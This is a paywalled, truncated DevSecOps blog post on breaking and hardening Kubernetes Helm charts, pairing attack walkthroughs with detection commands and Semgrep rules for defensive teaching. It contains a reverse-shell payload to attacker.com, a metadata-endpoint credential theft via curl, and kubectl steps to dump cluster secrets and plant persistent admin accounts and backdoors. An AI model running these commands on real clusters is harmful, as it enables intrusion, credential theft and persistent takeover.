DevSecOps Guides

DevSecOps Guides

Building and Breaking Secure Kubernetes Helm Charts

Helm Charts Hardening Guides

Reza's avatar
Reza
Oct 24, 2025
∙ Paid
2
Share

Your Kubernetes cluster runs on Helm charts the abstraction layer trusted to deploy secure, production-grade applications. Yet in companies worldwide, from Fortune 500 enterprises to innovative startups, Helm charts harbor critical security vulnerabilities that attackers exploit daily. A misconfigured values.yaml, an overlooked secret in ConfigMap, or a missing RBAC policy can transform your entire cluster from a secure orchestration platform into an attack vector for lateral movement, privilege escalation, and persistent backdoors.

This comprehensive guide dissects the offensive techniques that weaponize Helm chart misconfigurations and the defensive strategies that prevent them. We’ll explore secret injection attacks through vulnerable template logic, privilege escalation via insecure RBAC bindings, container escape through unrestricted security contexts, and cluster-wide lateral movement through misconfigured service accounts. Each attack is paired with practical defenses: secure value validation, OPA/Gatekeeper policy enforcement, runtime security monitoring, and least-privilege RBAC architecture.

By the end, you’ll understand not just how these attacks work, but how to architect Helm charts that are secure by design where vulnerabilities are caught during templating validation, misconfigurations are blocked by admission controllers, and runtime behavior is monitored continuously.


Architecture Comparison: Insecure vs Secure Helm Chart Design

The difference between a vulnerable and hardened Helm chart deployment isn’t complexity—it’s intentional security architecture. Below is a critical comparison:

Component Insecure Helm Chart Secure Helm Chart Values Input No validation; direct template interpolation of user values Schema validation with values.schema.json Secrets Handling Hardcoded secrets in values.yaml or ConfigMap Kubernetes Secrets with encryption at rest Container Permissions privileged: true, runAsUser: 0 (root) runAsNonRoot: true, specific UID, dropped capabilities RBAC Configuration Wildcard permissions - “*”, cluster-admin binding Minimal least-privilege roles with specific verbs Network Policy None defined; all pod-to-pod traffic allowed Explicit ingress/egress policies, deny-all default Security Context Missing or permissive securityContext readOnlyRootFilesystem: true, runAsNonRoot: true Image Sources Any registry, no signature verification Trusted registries, image signing (Cosign/Notary) Admission Control No validation; charts deployed unchecked OPA/Gatekeeper policies enforcing organization standards Configuration Review Manual inspection before deployment Automated scanning (Checkov, Kyverno, Trivy)

The secure architecture implements defense-in-depth: values validation prevents injection, container hardening limits blast radius, RBAC restricts capabilities, and admission control blocks misconfigurations before deployment.


Phase 1 Offensive: Secret Injection via Insecure Template Logic

Attack Mechanism

Secret injection exploits how Helm templates directly interpolate user-controlled values without validation. When chart developers use {{ .Values.image.repository }} or {{ .Values.database.password }} without sanitization, attackers can inject arbitrary Kubernetes manifests, environment variables, or even shell commands that execute within the container.

This vulnerability enables configuration poisoning: attackers control deployment parameters, inject environment variables containing credentials, modify container startup commands, or even inject additional sidecars with malicious code.

Vulnerable Helm Chart Pattern

# Chart template: templates/deployment.yaml (VULNERABLE)
apiVersion: apps/v1
kind: Deployment
metadata:
  name: {{ .Release.Name }}-app
spec:
  template:
    spec:
      containers:
      - name: app
        image: “{{ .Values.image.repository }}:{{ .Values.image.tag }}”
        env:
        - name: DATABASE_URL
          value: “{{ .Values.database.url }}”  # VULNERABLE: Direct interpolation
        - name: API_KEY
          value: “{{ .Values.secrets.apiKey }}”
        command:
          - sh
          - -c
          - “{{ .Values.startup.command }}”  # VULNERABLE: Shell injection

Real-World Exploitation Scenario

Secret Injection Attack - Template Value Poisoning

An attacker uses helm install with malicious values:

# Attack: Secret injection via values
helm install myapp ./chart \
  --set ‘database.url=postgres://user:pass@db.internal’ \
  --set ‘secrets.apiKey=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name | jq -r .SecretAccessKey)’ \
  --set ‘startup.command=bash -i >& /dev/tcp/attacker.com/4444 0>&1’

What happens:

  1. Chart renders deployment with injected values

  2. Container starts with modified environment and startup command

  3. Startup command opens reverse shell to attacker

  4. Attacker gains shell access with the pod’s service account permissions

  5. From pod, attacker accesses cluster API, etcd, and other workloads

Attack Sequence Diagram

Detection Commands

# Scan values for potential injection points
helm template myapp ./chart --values values.yaml | grep -E “command|env|args” | grep -v “^#”

# Validate that values don’t contain shell metacharacters
grep -E ‘[$()`|&;<>]’ values.yaml

# Check for environment variable injection patterns
grep -r “\.Values\.” templates/ | grep -E “(command|args|env)” | head -20

Semgrep Detection Rule

rules:
  - id: helm-secret-injection-template
    patterns:
      - pattern-inside: |
          {{ .Values.$KEY }}
      - metavariable-pattern:
          metavariable: $KEY
          pattern-either:
            - pattern: command
            - pattern: startup.*
            - pattern: args
            - pattern: password
            - pattern: apiKey
            - pattern: secret.*
    message: |
      Helm template directly interpolates user values without validation.
      This enables secret injection and command injection attacks.
      Use values.schema.json for validation and tpl/quote functions for escaping.
    severity: ERROR
    languages: [yaml]
    paths:
      include:
        - “templates/*.yaml”
        - “Chart.yaml”

Claude Prompt for Detection

Analyze this Helm chart template for secret injection vulnerabilities:

[PASTE TEMPLATES/DEPLOYMENT.YAML]

Identify:
1. All uses of {{ .Values.* }} in command, args, or env sections
2. Unescaped interpolations that could enable shell injection
3. Hardcoded credentials or exposed sensitive values
4. Missing input validation or schema constraints

For each vulnerability:
- Show the exact template line
- Explain the injection vector
- Provide secure replacement using values schema validation

Phase 2 Offensive: Privilege Escalation via Insecure RBAC Bindings

Attack Mechanism

RBAC privilege escalation exploits how Helm charts create service accounts with excessive permissions. When charts define ClusterRoles with wildcard permissions (verbs: [”*”], resources: [”*”]) or grant cluster-admin to workload service accounts, attackers can exploit container compromise to escalate from pod-level access to cluster-wide administrative control.

This vulnerability enables cluster takeover: from a compromised pod, attackers can modify other workloads, extract secrets, create admin users, and establish persistent backdoors.

Vulnerable Helm Chart Pattern

# Chart: templates/rbac.yaml (VULNERABLE)
apiVersion: v1
kind: ServiceAccount
metadata:
  name: {{ .Release.Name }}-app
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: {{ .Release.Name }}-admin
rules:
- apiGroups: [”*”]
  resources: [”*”]
  verbs: [”*”]  # VULNERABLE: Wildcard permissions
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: {{ .Release.Name }}-admin-binding
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: {{ .Release.Name }}-admin
subjects:
- kind: ServiceAccount
  name: {{ .Release.Name }}-app
  namespace: {{ .Release.Namespace }}

Real-World Exploitation Scenario

RBAC Privilege Escalation Attack - Wildcard Permissions Abuse

An attacker compromises the application pod and escalates to cluster admin:

# Inside compromised container
# Step 1: Verify current permissions
kubectl auth can-i ‘*’ ‘*’ --all-namespaces
# Output: yes (wildcard admin)

# Step 2: Extract all secrets from cluster
kubectl get secrets --all-namespaces -o json | jq ‘.items[].data’

# Step 3: Create admin user
kubectl create serviceaccount attacker -n kube-system
kubectl create clusterrolebinding attacker-admin \
  --clusterrole=cluster-admin \
  --serviceaccount=kube-system:attacker

# Step 4: Extract admin token and maintain persistence
TOKEN=$(kubectl -n kube-system create token attacker --duration=8760h)
echo $TOKEN > /tmp/admin_token

# Step 5: Compromise all namespaces
for ns in $(kubectl get ns -o jsonpath=’{.items[*].metadata.name}’); do
  kubectl -n $ns set env deployment --all BACKDOOR=activated
done

Real-World Case Study: 2023 SaaS Platform Breach

A multi-tenant SaaS platform suffered a complete cluster compromise when:

  1. Customer-deployed Helm chart included wildcard RBAC

  2. Application vulnerability allowed container escape

  3. Attacker used pod service account to access cluster API

  4. Attacker modified other customer workloads

  5. 5 million customer records exposed before detection

Root Cause Analysis:

  • Helm chart template used cluster-admin for development convenience

  • Chart wasn’t reviewed before publishing to Helm Hub

  • No admission control to validate RBAC

  • No network policies to restrict pod communication

Attack Flowchart

Detection Commands

# Find ClusterRoles with wildcard permissions
kubectl get clusterrole -o json | jq ‘.items[] | select(.rules[]? | select(.verbs[]? == “*” and .resources[]? == “*”)) | .metadata.name’

# Find service accounts with cluster-admin
kubectl get clusterrolebinding -o json | jq ‘.items[] | select(.roleRef.name == “cluster-admin”) | select(.subjects[]?.kind == “ServiceAccount”) | .metadata.name’

# Check RBAC for specific namespace
kubectl get rolebinding,clusterrolebinding -n default -o wide

# Audit: Extract all RBAC rules
kubectl get clusterrole,role -o json | jq ‘.items[] | “\(.metadata.name): \(.rules[]? | “\(.verbs | join(”,”)):\(.resources | join(”,”))”)”’

Semgrep Detection Rule

rules:
  - id: helm-wildcard-rbac-permissions
    patterns:
      - pattern-either:
          - pattern: |
              verbs:
              - “*”
          - pattern: |
              resources:
              - “*”
      - pattern-inside: |
          kind: ClusterRole
          ...
    message: |
      ClusterRole contains wildcard (*) permissions enabling cluster-wide escalation.
      Replace with explicit, minimal permissions required for workload function.
      Example: verbs: [”get”, “list”] instead of [”*”]
    severity: CRITICAL
    languages: [yaml]
    paths:
      include:
        - “templates/rbac.yaml”
        - “templates/**/*rbac*.yaml”

Phase 3 Offensive: Container Escape via Insecure Security Context

Keep reading with a 7-day free trial

Subscribe to DevSecOps Guides to keep reading this post and get 7 days of free access to the full post archives.

Already a paid subscriber? Sign in
© 2025 Reza
Privacy ∙ Terms ∙ Collection notice
Start your SubstackGet the app
Substack is the home for great culture